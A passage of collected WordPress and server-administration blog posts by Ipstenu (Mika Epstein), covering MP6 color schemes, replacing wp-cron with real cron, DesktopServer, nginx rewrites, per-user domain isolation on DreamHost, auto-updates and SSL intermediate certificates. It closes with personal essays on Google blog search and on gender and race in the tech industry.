The actual code is below. I try to keep things as simple as I can when I do this, and I did nick a bit of code from EDD core (you’re supposed to) to make it match. All this does is the most basic of links and it all fits in a nice little box like this:

I like that layout. Reminds you a bit of Amazon, and there’s a reason. If you keep the space open and clear, it’s easy for a visitor to grasp their options. Also I can put below a link to my EU/VAT page and say this “Purchase disabled? Here’s why…” I don’t right now, though I probably should. I couldn’t think of how to elegantly handle making the button a link like that.
## The code
Like I said. Pretty basic.
**Categories:** How To
**Tags:** coding, ecommerce, wordpress
---
### [MP6uccess - Tips and Tricks](https://halfelf.org/2013/mp6uccess-tips-and-tricks/)
**Published:** September 3, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** MP6 has moved from 'This is really nice' and into 'I gotta use this' territory with one simple addition: color themes.
**Content:**
*Notice: Since WordPress 3.8 came out, you **DO NOT** need to install MP6 for anything to work. Promise. If you want the extra color schemes, use [Admin Color Schemes](http://wordpress.org/plugins/admin-color-schemes/), but everything else works in core WP.*
I like [MP6](http://wordpress.org/plugins/mp6/). It’s far, far, far easier for me to read the back end of WordPress with it. It has legible fonts, larger fonts, and best of all, it’s mobile friendly.
The biggest complaint has been that it’s too dark. And I get that, I really do. I personally have trouble seeing white on black (computers only), and white on green (yes, road signs). So for me, the black sidebar was a little heavy, but something I could live with. Then version 2.0 came out and behold, *color schemes*!
I immediately ran this update, zipped to my profile page (where I knew it had to be), and saw this:

The other options right now are Blue (looks like the old blue), Seaweed, Pixel, and Ectoplasm. Seaweed is my favorite, but I decided to make each site a little different and distinct, so I have Ectoplasm running right now on one site and Seaweed on the other. I can tell right away which is which. My only wish is the toolbar was colorized on both ends.
## Tips & Tricks
Okay, okay, I’ll stop selling the plugin, and instead tell you what’s cool to do with it.
**Styling Menu Items**
The items on your menu sidebar default to some pretty boring icons. Bleah. For years we’ve always uploaded our own images to change things in our plugin and custom post types. Here’s an example for my own code for an old Custom Post Type, because I wanted a custom video icon to show up on my sidebar:
Now that I’m using MP6, I have access to [Dashicons](http://melchoyce.github.io/dashicons/), which already has a video icon included, so I can use this:
No need for a hover image, because this is a font and not an image, so the hover is automagically taken care of. The result is exactly what I wanted. It looked just like it was built into WordPress from day one, and my co-authors know right where they’re supposed to go to make a new video post.
There are a lot of options to nab from, and there’s a double edged sword to having some ‘standards’ built in. While it’s super easy for me to make a plugin or CPT use what I want, the same goes for other people. I imagine a lot of shopping cart plugins will want to use `'\f174'` (the shopping cart) if they don’t have their own. Also it means that to ‘match’ you’ll have to use Font Icons yourself, and they’re not super easy to make. Not that everyone worries about matching.
**Force a Choice**
Okay, what if you want to force a choice for everyone?
This is the same as it’s always been, actually. But now everyone gets to use purple and green, yay! Keep in mind, this is a hard force. Everyone uses this. There’s no changing. I have this on one site, since the ecotplasm color actually matched the theme. I set it, went away for the weekend, and found the users laughing and loving the perfect match.
**Also check out…**
I’m sure I’m not the first person do dig out these tricks for MP6. At WordCamp Chicago I remarked that a cool plugin would be “MP6SS” – it would let you pick four colors (similar to the blocks the current MP6 plugin offers), and you could make your own colors on the fly. A little dangerous, but the next option up from that would be a fork of the CSS plugin in Jetpack, which lets you totally customize your MP6 CSS 100%.
Here’s some links I’ve found to more MP6 fun:
- [Till Krüss’ MP6 Icon Examples](https://github.com/tillkruess/MP6-Icon-Examples)
- [Ben Dunkle’s SVG icons](https://github.com/field2/mp6-style-icons)
- [Jon Masterson’s Font-Awesome MP6](https://github.com/JonMasterson/Font-Awesome-for-MP6)
- [MP6 Light Plugin](http://wordpress.org/plugins/mp6-light/)
Do you have any tricks? Post links to your code!
**Categories:** How To
**Tags:** administration, css, design, plugins, wordpress
---
### [wp-cron it up](https://halfelf.org/2013/wp-cron-it-up/)
**Published:** February 5, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It schedules more than posts, and it can be totally worked around, if you're into that sort of thing.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/browser.jpeg)If you’ve spent much time mastering \*nix servers, you’ve run into cron. I love cron. Cron is a special command that lets you schedule jobs. I use it all the time for various commands I want to run regularly, like the hourly check for new posts in RSS on TinyRSS or RSS2Email, or the nightly backups, or any other thing I want to happen repeatedly. Cron is perfect for this, it runs in the background and it’s *always* running.
My first thought, when I heard about wp-cron, was that it clearly tapped into cron! If I scheduled a post, it must write a one-time cron job for that. I was wrong. Among other reasons, not everyone has cron on their servers (Windows, I’m looking at you), but more to the point, cron is a bit overkill here. Instead WordPress has a file called wp-cron.php which it calls under special circumstances. Every time you load a page, WordPress checks if there’s anything for WP-Cron to run and, if so, calls wp-cron.php.
Some hosts get a little snippy about that, claiming it overuses resources and ask that you disable cron. One might argue that checking on every pageload is overkill, but realistically, with all the other checks WordPress puts in for comments and changes, that seems a bit off. In the old WordPress days, this actually was a little true. If you have a server getting a lot of traffic, it was possible to accidentally loop multiple calls at the same time. This was fixed quite a bit in WordPress 3.3 with better locking (so things only run once). Multisite was a hassle for a lot of people, but seems to have been sorted out.
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/1260389736939208247klaasvangend_Stopwatch.svg_.hi_.png)We already know that WordPress only calls wp-cron if it needs to, so if you disable it, you have to run that manually (which ironically you could do via a cron job (Read [How to Disable WordPress WP-Cron](http://dansgalaxy.co.uk/2010/10/03/how-to-disable-wordpress-wp-cron/) for directions on how to disable and then use real cron.)). To disable wp-cron, just toss this in your wp-config.php:
Now, remember, you still want to run a ‘cron’ job to fire off anything scheduled, so you have to add in your own cron-job for this, which I actually do! I have cron turned off, and a ‘real’ cron job runs at 5 and 35 past the hour to call wp-cron with a simple command:
```
curl http://example.com/wp-cron.php
```
Now since I have multiple domains on this install, I actually have that for every site on my Multisite. After all, wp-cron.php on Ipstenu.org doesn’t run for photos.ipstenu.org and so on. Doing this sped up my site, and put the strain back where I felt it should be. The server.
By the way, wp-cron does more than schedule posts. That’s what checks for plugin, theme and core updates, and you can write code to hook into it to schedule things like backups. Remember before how I said that WP checks to see if there’s anything scheduled? This is a good thing, since if you have your server run a long job (like backing up a 100meg site), you don’t want to wait for that to be done before you page loaded, right?
For most people, on most sites, this is all fine to leave alone and let it run as is. For the rest, if you chose to use cron instead, keep in mind how things are scheduled. Like I set my cron to run and 5 and 35, so I tend to schedule posts for 30 and the hour. That means my posts will go up no later that 5 minutes after. That’s good, but if I use my DreamObjects plugin, the ‘Backup ASAP’ button schedules a backup to run in 60 seconds (so as not to stop you from doing anything else, eh?), which means I’d have to manually go to example.com/wp-cron.php in order to kick it off. Clearly there are issues doing this for a client.
**Categories:** How To
**Tags:** cron, servers, wordpress
---
### [Review: DesktopServer](https://halfelf.org/2013/review-desktopserver/)
**Published:** July 15, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Finally installed DesktopServer. It's a pretty neat thing, but depending on your workflow, maybe isn't quite what you want. It works for me, so here's my unsolicited review.
**Content:**
I’ve been a MAMP user for years, but at WordCamp Chicago, [Suzette Franck](http://suzettefranck.com/) handed me a thumbdrive with free version of [DesktopServer](http://serverpress.com) on it. Interested (and not just because a thumbdrive with an app on it is the way I expect to be handed software today), I installed it once I got back to my office.
## Installation and Setup
You can’t run the zip from the the thumbdrive. It’s a 250meg drive with only 50 megs to spare, so because a Mac is silly, I had to copy the files locally and then unzip. It would be ‘better’ (and this is subjective) if the drive had the installer apps instead of the zips. That said, I know they were copying the zips to the thumbdrives manually so I totally give them a pass.
Once I did unzip it, it said it would have to restart. So I shut down everything, installed, and … no restart. I think it was a poor choice of words:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/ds-restart.png)
Right, clearly I wasn’t paying attention. Still, it’s a strange thing to warn when it didn’t actually happen! Now, I know what they meant is this:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/ds-start-admin.png)
I hate that MAMP does this too, and have long used the [MAMP No Password app](http://www.46palermo.com/blog/run-mamp-without-password-easy-way/) to work around this. I’d love to see that added to Desktop Server.
There were a lot of click-throughs, but that it let me add and create a dev website, complete with the hosts file, was nice. I liked that I was able to easily tell it to install in Sites (where I like my sites!), but I didn’t like that it’s bundled with WordPress 3.5.1:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/installnewsite.png)
Actually I don’t like that it’s **bundled** with WordPress. Blasphemy! But really, it would be killer if it could just have a dropdown of options: WordPress, Drupal, etc. Then when it runs, it grabs from the latest build. WordPress does this with latest.zip. Drupal doesn’t. Didn’t know that. You should, Drupal! For now, people have come up with an interesting [wget based solution](http://drupal.stackexchange.com/questions/23700/how-to-find-download-latest-drupal-version-via-bash), so that would be an awesome thing to add. But I clicked WP (vs nothing), which is the default. I was directed to my site, where all I had to fill in was username and such. All the DB work was done!
## Using DesktopServer
At this point, I was done so I closed DesktopServer.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/done.png)
My site, elftest.dev, was up and running and it was easy to use. Perfect! Seriously, at this point it just worked. If I wanted to spin up another site, that was easy too.
Sadly, it’s not easy to make a subdomain site ala Multisite. I wanted to add ‘foo.elftest.dev’ and I tried to select this be installed in elftest.dev, but got this instead:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/subdomain.png)
That’s okay for me, I know how to use my hosts file, but it would be nice to have this more accessible. After all, the draw of DesktopServer is that it’s *easy* right?
## Shutting down DesktopServer
Here it’s weird. I had shut down the app, because it was done. But doing this only closes the app, not the Apache instance, so I had to reopen (and ‘reboot’ it with Admin rights again) to be presented with this:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/07/shutdown.png)
Now I could shut down.
## Conclusions
It’s a split decision. When I’m using the “MAMP no password” app, it’s certainly easier to activate and deactivate MAMP. However, DesktopServer wins with ease to spin up new sites. For someone like me, who needs to quickly test sites for customers and likes to use foo.dev or foo.loc to test, this is great. I don’t need to hassle with anything, just turn it on, add a site, done. DesktopServer is a little in the middle between easy for newbies and awesome for devs. It’s got a lot of room where I could see it growing, and that’s enough to keep me using it
The downsides are:
- Have to ‘restart’ the app with my admin password.
- Can’t fully customize the website location
- Can’t customize the TLD (no example.co.dv to test an example.co.uk site, and yes I do that)
- No menu-bar tool to activate/deactivate
I’m going to keep using it, of course. The benefit of a fast spin-up of new sites, for what I do with testing people’s sites and fixing them at work, wins hands down.
**Categories:** How It Is, How It Works
**Tags:** review, servers
---
### [Subdomains, WordPress and nginx](https://halfelf.org/2012/subdomains-wp-nginx/)
**Published:** September 15, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
This should be obvious, but I’m not familiar with nginx, so it wasn’t.
I added trunk.elftest.net as a separate subdomain (rather than Multisite) because I wanted it to run trunk and not impact anyone else.
The way that DreamHost works, is you have a separate folder for your `nginx` configurations, called nginx, and it lives off your home directory. This is commonly referenced as `~/nginx/` and yes, if you type in c`d ~/nginx/` you’ll jump right there.
To make WordPress work, I had to create `~/nginx/trunk.elftest.net` and add a `wordpress.conf` file there, with the [standard DreamHost nginx config for WP](http://wiki.dreamhost.com/Nginx#WordPress).
```
######################
# Permalinks
if (!-e $request_filename) {
rewrite ^.*$ /index.php last;
}
```
Magic.
**Categories:** How It Is
**Tags:** essay, servers, wordpress
---
### [Separate Users Are Good](https://halfelf.org/2013/separate-users-are-good/)
**Published:** September 24, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Separating your domains by userID is not only smart, it's so easy a caveman could do it!
**Content:**
When you create a new domain on DreamHost, you can chose to make a ‘new’ user to ‘own’ the site, or use an existing one. There are pros and cons to both, but for anyone who comes from the cPanel world (where separate accounts are de rigueur), it’s pretty normal to expect your separate site to have a separate login name and password.
Explaining how all this works on DreamHost is a little different, because we have users and then we have users and … well let me explain.
## There’s more than one kind of user
The first type of ‘user’ you have at DreamHost is your panel user. This user is the one you make when you sign up, and it’s usually your email. Don’t share this password with anyone, okay?
Next we have your ‘users’ which you can find in [your panel](https://panel.dreamhost.com/index.cgi?tree=users.users&). Those users are the ones who have access to things like ‘shell’ and ‘sftp’ and so on.
Then there are also those ‘other’ users you think of, like the login accounts on your blog, or your email, or maybe even the billing account for DreamHost.
When I talk about separate users, I’m *only* talking about the ones who have access to shell and stuff.
## Users own sites
Those user accounts own sites. That means I have a specific user who ‘owns’ the folder on the server where all my web code lives. And you can see it’s that user because there it is, in the path: `/home/USERID/domain.com/`
Only **one** user can own, and access, a domain. However a user can own **multiple** domains.
So here’s what this looks likes. One user owning multiple domains:

And only one user can access the domain, user two cannot:

This is cool because if there’s a domain under User 2, and it gets hacked, there’s no way for User 1 to get hacked, even if both users are you!(Unless there’s a server wide security flaw, which yes, can happen, but we spend a lot of time trying to prevent that.)
## Logical User/Domain Groups
If you own 50 domains (and I’ve seen users with 200!), having them all owned by one user sure seems easier, but it means if that user gets hacked, they’re all vulnerable, and you’ll probably end up having to de-hack 50 domains at the same time. Instead, it’s wiser to group your domains ‘logically.’ For example, my elftest.net domains have subdomains, all of which are owned by the same user. However my other top-level domains are each owned by their own user. But that doesn’t work for everyone.
Recently I was helping a customer with a hacked site, and he complained that the sites he hosted for his clients were being hacked, and his clients were pissed off. I took a look and saw that all his client sites were under one user ID. I asked him if the clients had more than one domain, or if they all had their own, and he replied that each client had 4 or 5 of the domains. After cleaning up the hack, together we made new user accounts, one for each client, and moved the domains to those accounts. If possible, I always clean before moving, but in one case the customer had 75+ hacked sites, so we moved and *then* cleaned each one, prioritizing the accounts on the way. It took a *very long time*.
 The extra benefit to this is the clients can now have FTP access to their domains and do wild and crazy stuff! But we don’t want them to have FTP.
## Moving The Domain
Obviously first you need to setup users. When I set up a new user, the first thing I do is make it secure. That means I turn off FTP, forcing SFTP only, and if needed, give them Shell access. Personally? I love shell access, so I always leave it available. If you’re using DreamPress, we have Shell turned off by default, but you can activate it.

There *is* a downside, which is that the WebFTP app won’t work. Personally? I find 99.999% of WebFTP apps to be total drek. They’re messy, kludgy, and there are some great free apps like [Cyberduck](http://cyberduck.ch/) which even let you connect with DreamObjects!
Now that you have the user, we want to move the domain. This is so easy, anyone can do it. Go into Panel, click on domains, click on edit for the domain. Go to “Users, Files, and Paths” and change the user in “Run this domain under the user:”

Really, it is that simple.
**Categories:** How It Is
**Tags:** dreamhost, security, servers, wordpress
---
### [Why We Don't Auto-Update Plugins](https://halfelf.org/2013/we-dont-update-plugins/)
**Published:** September 12, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Understanding a little more about why we upgrade what we do, and why we don't what we don't.
**Content:**
Since the push of [DreamPress](http://dreamhost.com/dreampress) (which I’m totally digging), the ‘One Click Install’ feature of [DreamHost](http://dreamhost.com) has become a little more obvious to people, and it’s benefits and disadvantages.
## What’s this auto-upgrade thing?
To make this simple, if you use DreamPress or our One-Click installer, we *automatically* upgrade WordPress for you! It doesn’t happen the very second WP has a new version, mind you, we spread it out to not destroy our servers, but you will get upgraded unless the upgrade feature was disabled (of course, you would never disable them, right?). Any time you want to see if you have automatic upgrades enabled, or want to run your own, head over to the [DreamHost Panel](https://panel.dreamhost.com/index.cgi?tree=goodies.installer&).
## Why not plugins and themes?
So why do we only do this for core WordPress? Because plugins and themes are messy.

The safest upgrade in the world is the minor upgrade (like WP 3.6 to 3.6.1), as it’s exceptionally rare that it breaks anything. It’s not perfect, of course, sometimes we find out that a plugin or theme was doing something in a very non-optimal way before (if you hear ‘doing\_it\_wrong()’ please keep in mind that is *not* a value judgement, just a code comment, we all do it wrong in the beginning). But rarely will this kind of upgrade break your site.
Similarly, the major releases (3.5 to 3.6) are perhaps surprisingly stable. They’re tested, a lot. At DreamHost there are two people (me and [Shredder](http://getsource.com)) on the core contributor list, and we’re heavily involved in WordPress development every single day, at work and at home. We keep up with WP changes, test them on DreamHost, and work with the core team to resolve issues before they even release a beta! We’re on the job!
“But hang on!” I hear you say. “I upgraded to 3.6 and it broke my theme!”
And *THAT* is why we don’t upgrade themes.
I know, I know, it sounded counter-intuitive. You have to look at it a different way. Your theme stopped working with WordPress 3.6. That means something in the theme is not compatible with the best practices in WordPress core. Translation: WP didn’t break, your theme had a bug.
It sounds like semantics, or hair-splitting, and I totally get that. It also sounds like we’re passing the buck. We’re not! And we’re not trying to imply the theme (or plugin) developer who now has a broken product is a bad coder, or doesn’t pay attention to WordPress. What we mean is that themes and plugins, as they are used by much smaller segments of the WordPress community (*everyone* uses core, but maybe only 1000 use that theme), it just can’t be tested as robustly. This is especially true of the solo-developers. Speaking as one, I used to develop WP only in my free time, so any time WP had a new release coming up, I had to take days to test all my plugins, and pray I got everything. Invariably I missed stuff. It happens. We’re humans.
Breaking isn’t the only reason, though. Sometimes an upgrade is messy and complicated. Take, for example, NextGEN Gallery. When version 2.0 came out, it inadvertently broke a lot of installs. [There was chaos, drama, and finally an open letter.](http://www.wptavern.com/nextgen-gallery-creator-publishes-open-letter) How did this happen? It happened because NextGEN is hella complex, and it’s used in myriad different ways. It happened because plugins and themes can do *anything* with WordPress.

Blindly updating core is safe. It’s tested and easy to roll back. Blindly updating themes and plugins are not always easy to roll back, they’re not always easy to upgrade (some require a massive upgrade script to run), and they may require you to make other changes in your theme. For that, we just don’t.
## If DreamPress is MANAGED Hosting, like WordPress.com, how come THEY do it?
You mean why do the plugins on WordPress.com get auto-updated? Because *you* can’t install any plugins on Wordpress.com! That’s all. They control everything, and simply activate various plugins depending on what package you buy. It’s not really the same thing at all, but I get why people think it is.
## I don’t care! Can I auto-upgrade anyway?
Are you sure? Okay, then! Install the plugin [Automatic Updater](http://wordpress.org/plugins/automatic-updater/) (by Gary P.) and set it to upgrade your themes and plugins. I personally use it on all my sites, but I’ve also personally vetted each and every plugin on my sites.
**Categories:** How It Works
**Tags:** dreampress, servers, wordpress
---
### [SSL Intermediary Certificates](https://halfelf.org/2014/ssl-intermediary-certificates/)
**Published:** December 24, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** SSL failures in weird places with cPanel, WHM, Comodo, and a phone I don't have.
**Content:**
Every now and then, my Andriod friends tell me my store won’t work on their phones.

Now my store works on Chrome, Firefox, Safari, and IE. I get a green lock, which is what you’re looking for on Chrome, and [SSL Labs](https://www.ssllabs.com/ssltest/analyze.html) comes back … with varying results of stupidity. I tend to get this:
> Unexpected failure – our tests are designed to fail when unusual results are observed. This usually happens when there are multiple TLS servers behind the same IP address. In such cases we can’t provide accurate results, which is why we fail.
Now this is a ‘valid’ failure. I have one IP and a multi-domain certificate (ipstenu.org, mothra.ipstenu.org, store.halfelf.org). It’s stupid, mind you, since sometimes it works and sometimes it doesn’t and it gives me a headache. If you look on [Digicert](https://www.digicert.com/help/) or [SSLShopper](https://www.sslshopper.com/ssl-checker.html#hostname=store.halfelf.org), they both come back just fine. I’ve started to think that the ssllabbs cache is drunk. I’m going to assume I’m okay based on [sslcheck](https://sslcheck.globalsign.com/en_US/sslcheck?host=store.halfelf.org#50.28.51.159), who gives me a B because it can’t tell if I patched for BEAST (I did).
That said, I did some research and determined I was not the only person having this issue *specifically* with a Comodo cert! As it happens, the issue was in part due to missing an intermediate certificate in my file. If someone’s already visited another website which has the same certificate seller, the intermediate certificate is remembered in the browser. Sounds great, right? The site loads faster! But if the visitor hasn’t hit my store, then they don’t have the intermediary certificate and it would fail.
But why does this only happen on an Android phone? Your browser on your big computer has a whole mess of certificates it saves for you, to make things faster for everyone. Your phones don’t.
To solve a missing intermediate certificate in the SSL connection, you have to add the intermediate certificate to your own certificate file. This is a little annoying with cPanel/WHM, because I can only do it as root. I’d previously added everything via cPanel as my ipstenu.org log in because it was per domain, right? The trick here is that I have to not just add the certificate by pasting that in, but I have to grab the other two certs that came with:

Notice how there are four? The first one is my certificate, the one I pasted in. The second is my Root certificate, leave it alone. The bottom two I had to add at the bottom of the cert page, where it said “Certificate Authority Bundle (optional):” Those I pasted the content of, one after the other, and saved it. In my case, I was so annoyed I deleted them all and re-added everyone, pasting in the main cert and using auto-fill, and then manually adding in the bundle.
I do find it interesting to note that this *only* failed on Android phones, though.
**Categories:** How To
**Tags:** security, servers, ssl
---
### [WordPress Upgrade Script](https://halfelf.org/2010/wordpress-upgrade-script/)
**Published:** December 30, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How I update WordPress really fast without the automated installer.
**Content:**
 I don’t like the automated updater. I don’t know why, I just don’t. I have this stupid simple script I use instead. I cleaned it up before posting here. But this is what I use when I want to upgrade my various installs to the latest version, or the nightly build. I didn’t bother to put the `svn` stuff in here, since the script I use for that is fairly weird and particular to me.
The fix to ‘Oh shit, I installed WordPress 2.1 instead of 3.1!’ is to re-run it correctly, by the way. So long as you haven’t logged in to your site, you won’t update the database, so a backout is always a re-run, even in the real world.
**Categories:** How To
**Tags:** command line, unsupported, wordpress
---
### [WordPress Plugin Script](https://halfelf.org/2010/wordpress-plugin-script/)
**Published:** December 30, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Handy little script to upload new versions of WordPress plugins. It's stupid. It works.
**Content:**
 I don’t like the automated plugin installer. I don’t know why, I just don’t. I have this stupid simple script I use instead. I cleaned it up before posting here. It’s a lot more complicated than my [WordPress Upgrade Script](https://halfelf.org/scripts/wordpress-upgrade-script/) because it has to check for the latest release of the plugin via the subversion repository and clean up weird characters (because people write code on Windows, Linux and Mac and everything else!). This is one of the few times I assume that if you *don’t* specify a version, you probably want the latest and greatest.
**Categories:** How To
**Tags:** command line, wordpress
---
### [Google’s Blog Search is Irrelevant](https://halfelf.org/2009/googles-blog-search-is-irrelevant/)
**Published:** March 9, 2009
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Google's blog search screws up SEO for everyone.
**Content:**
Google is a great search tool to find a website or general information about a topic, but quite frankly I’ve come to despise their blog search engine and I’m seeing serious flaws in their ranking app. In specific, they now search blog links (aka the blogroll) and when you search blogs about a topic, you get unrelated posts.
If you search for [Laurence Fishburne](http://www.google.com/search?hl=en&q=laurence+fishburne) because you saw him on an episode of M*A*S\*H recently as a soldier with a racist CO, Google gives you two hits for IMDb, one for Wikipedia, one about news (GoogleNews that is), and then, finally, his official website. While Google claims they don’t adjust ratings (that is, they don’t give more or less weight to a website on their own) and allow their PageRank algorithm to sort all this out, it seems to me that any **official** website should be ranked first. Also, IMDb shouldn’t be listed twice. But that depends on what people are looking for and what Google offers.
> We stand alone in our focus on developing the “perfect search engine,” defined by co-founder Larry Page as something that, “understands exactly what you mean and gives you back exactly what you want.”
With that in mind, as I look at their [tech overview for people who aren’t super geeky](http://www.google.com/corporate/tech.html), I think that they come to the process a little flawed. PageRank is a great idea, don’t get me wrong. The more pages that link to a site, the higher the site is ranked (in essence). Okay, that’s great! Until you have those damn splogs. You know the ones. Spam blogs that promise you information about a person/place/thing, but is nothing more than a ton of links and 100 popups.
Why would I search blogs? Easy, a lot of news sites are using blogs these days, and I want to read those too. It’s not rocket surgery, it’s how news is disseminated in 2009, folks. And I, personally, like to search by ‘date’ because I want to know what’s newest.
> Our search engine also analyzes page content. However, instead of simply scanning for page-based text (which can be manipulated by site publishers through meta-tags), our technology analyzes the full content of a page and factors in fonts, subdivisions and the precise location of each word. We also analyze the content of neighboring web pages to ensure the results returned are the most relevant to a user’s query.
This looks like it should take care of spam blogs, but if you’ve ever done a search on blogs about someone (let’s use Mr. Fishburne again), you know it’s a crap-shoot.
[A news search](http://news.google.com/news?ned=us&hl=en&q=laurence+fishburne) is actually pretty helpful. I get some articles of interest right up front. If I flip the bit and [sort by date](http://news.google.com/news?ned=us&hl=en&q=laurence+fishburne&scoring=n) it’s still pretty useful. When I go to [blog search](http://blogsearch.google.com/blogsearch?hl=en&q=laurence+fishburne) (which is a sidebar link off news), it’s still mostly beneficial.
But I dare you, I dare you, to make sense of the articles when you click [sort by date](http://blogsearch.google.com/blogsearch?hl=en&q=laurence+fishburne&ie=UTF-8&scoring=d). Three posts on that first page might actually be something worth reading. Good luck finding them, and I hope they actually are what you want. But at the end of the day, those spam blogs aren’t the problem that makes me hate the blog-search.
No, the problem, as I see it, are the posts like this:

That bit I circled for you means that the ‘label’ (tag, category, whatever) for ‘Laurence Fishburne’ has been used 4 times. Go to that post and you will not find a single thing on the page of use. 99.999% of these blogs are blogspot and, while I don’t begrudge them their posts, they’re getting false promotion! And your post that you lovingly crafted about how totally amazing Fishburne is, and how he acted the hell out of that scene last night is now 10th on the list, and bound for page 2 any second now.
The only official Google respons I can find on the matter is a post by Jeremy Hylton in their [google forums](http://groups.google.com/group/google-blog-search/browse_thread/thread/8244fc8731f47970) (dated November 2008).
> We expected some problems from blogroll matches, but may have
> underestimated the impact on searches using the link: operator or
> where the query matches a blog or blogger’s name. We do expect to fix
> the problem you’re seeing. We’ll use the full page content, but
> exclude the content that isn’t really part of the post. I’m not sure
> if we’ll be able to make the change before the end of the year, but we
> are working on it and are pretty confident that it can be solved.
> We’ll post an update here when we’ve got a solution.
And no, there is no update to that post.
The hoopla from other blog sites has died down, but as this is still a prevalent problem on the blog search, I would really like to see it heat up again. Google’s blog search is pretty much dead useless to me if I can’t find information I want. As finding what I want is the whole point of Google (they said it first), they’ve made themselves irrelevant.
**Categories:** How It Is
**Tags:** search engines, seo
---
### [The Self-Perpetuating Myths](https://halfelf.org/2012/self-perpetuating-myths/)
**Published:** September 12, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** G.R.O.S.S. didn't work for Calvin, and it won't work for us either. Are we discriminatory because we're actually racists, or do we only look that way from the outside?
**Content:**
*This is your only warning: I’m going to talk about racism and sexism in tech, and there will be some swearing. I don’t mind if you disagree with me, just try to be constructive.*
 I blame a lot of things on society.
We’ve all heard that minorities aren’t fairly represented in certain aspects of society. There aren’t enough women/brown/gay/whatever on boards, or working in a specific group. We all know that girl gamers get grief. How many of you have gotten asked ‘Are you a girl IRL?’ when you play a female MMO character?
When you look at groups like the [Apple execs](http://www.apple.com/pr/bios/), it’s white guys across the board. Google? [2/3rd’s white guy](http://www.google.com/about/company/facts/management/). Yahoo!’s surprisingly the same with [three out of twelve](http://pressroom.yahoo.net/pr/ycorp/management.aspx).
But that name at the top, [Marissa Mayer](http://pressroom.yahoo.net/pr/ycorp/marissa-mayer.aspx), is the weird one in all this.
Pretty recently she left Google for Yahoo! which was a surprise to a lot of people. Right away, the old snark showed up. She used to blog about cupcakes, and was obsessed to the point of making a spreadsheet about frostings. Seriously? What does that have to do with her ability to helm a company? If anything I’d argue that sort of obsessive attention to detail is what you want. But no, people pointed out it was a ‘chick’ thing. Because a man making a spreadsheet to understand the various pros and cons for armor on an MMO is manly, but food’s a chick thing.
That sounds pretty stupid when you put it that way, doesn’t it?
Look, we all know that when it comes to brain-work, there’s no difference between what a woman can come up with and what a man comes up with. If you can’t accept that, you may as well just stop reading this blog now. What makes the difference is how we were raised and where our natural talents lie. Just because I’m not a super psycho coder, and prefer to spend my time helping people with their code, doesn’t mean I’m less intelligent than the people who wrote an eCommerce plugin. And yet, people persist in saying I’m in a ‘soft’ technology role.
I think I look at more varied code than the majority of WordPress users. I review plugins and I’m pretty capable of understanding what is and isn’t a safe and secure plugin. I can look at themes and tell you where your code is inefficient. Where I lack is not in my technical chops but in my *desire*. How I create isn’t with code, or visual arts, but with words. The fact that I happen to be a woman means nothing. Still, you can’t escape things like the [Women in Refrigerators syndrome](http://www.unheardtaunts.com/wir/), or how few women write comics (even ones with female leads, like Batwoman and Wonder Woman). So what’s really going on here? What’s being under-represented?
From talking to a lot of group ‘leads’ of software projects, things are still skewed to the white guy, and it shows. If you look at a community dinner I attended, the men were the majority. Then you look at *what* the women/brown were the leads for, and you come up with the disturbing comment I heard that UI and Support are ‘soft’ tech topics, and that sure made me feel pretty crappy. But I know support isn’t ‘soft’ anything. In support you see more code than just what you and someone else write. At the same time, I’ve been told many times that there’s no coding involved with support.
*Edit: Note, the other woman actually was a core-team rep, not UI, which made the comment I heard even stupider.*
A lot of this is a self-perpetuating perception issue: If a group isn’t equally represented, then there’s an issue. If women aren’t 50% of the presenters at WordCamp, you’re `doing_it_wrong()`, people will say. And yet we know that forcing equality does not actually make things equal. The basic idea of affirmative action makes a little sense “If you have a white man and a black woman equally qualified, pick the person who will bring more diversity to give diversity a chance.” Then again, that sounds really fucking stupid when you say it outloud, doesn’t it?
Why do people feel ‘minorities’ aren’t represented? Why do people feel equal numbers means equal representation? What makes equality?
I’ve been involved in technology since I was a kid. My grandmother loves telling the story about how, when I was under-six, I set up her Novation CAT modem, dialed into her IBM server, and entered in all her data so that she could make me french toast. Never once, until I was in my 20s and working for a company, did anyone ever make noise about how I was a woman. My family made no point of it, and neither did my schools, my friends, or the people I talked to online back then. To them, this was not a ‘boy’ thing or a ‘girl’ thing, but simply something that I liked to do. Meanwhile, I was chastised by my peers for being a tomboy, for being the ‘masculine’ one in my relationships (I feel bad, in retrospect, for my ex-boyfriends), and for all those other things where I didn’t fit in with normal. But computers, technology, and everything along those lines were *never* something where gender-lines were drawn.
All of that changed when I joined corporate America. Within a week, I knew, yet again, I was ‘different.’ I was one of five women in my area, and one of two technical women (the others were managers, though one was a working manager). I was weird, because I liked technology, I liked to play with things, and I’d research when I didn’t know. The more I moved away from Microsoft, the less overt my social oddity became, but it was still there.
*This behavior does not replicate within the WordPress Community in the same way.*
Oh, it’s still there, don’t get me wrong. If you want to go search through the forums, there are some awesome posts where a guy goes from totally respecting me to insulting me, and the trigger is when someone mentions in passing that I am of the female persuasion. But in the WP ‘core’ team, I’ve never met anything but respect and friendship. Now these guys are, predominately, white men, and just by their nature, lack the ability to know what it’s like to be a woman. That’s not a bad thing, it’s just a fact. I can’t know what it’s like to be brown, they can’t know what it’s like to be a woman. But like attracts like, and it’s not surprising that the leads end up being white males.
